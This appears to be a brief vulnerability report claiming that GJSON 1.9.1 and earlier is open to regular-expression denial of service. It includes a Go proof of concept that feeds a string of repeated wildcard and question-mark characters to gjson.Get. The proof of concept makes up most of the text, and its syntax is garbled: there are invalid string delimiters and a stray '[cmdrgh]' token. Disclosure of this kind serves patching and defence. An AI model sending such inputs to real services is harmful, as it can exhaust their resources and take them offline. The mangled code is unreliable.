gjson.Get can cause DoS attacks. GJSON <= 1.9.1 allows attackers to cause a redos via crafted JSON input.

[cmdrgh]

func main() {
testJson := #[%"*?**?**?**?**?**?***?**?**?**?**?*"""]
gjson.Get(testJson, testJson)
}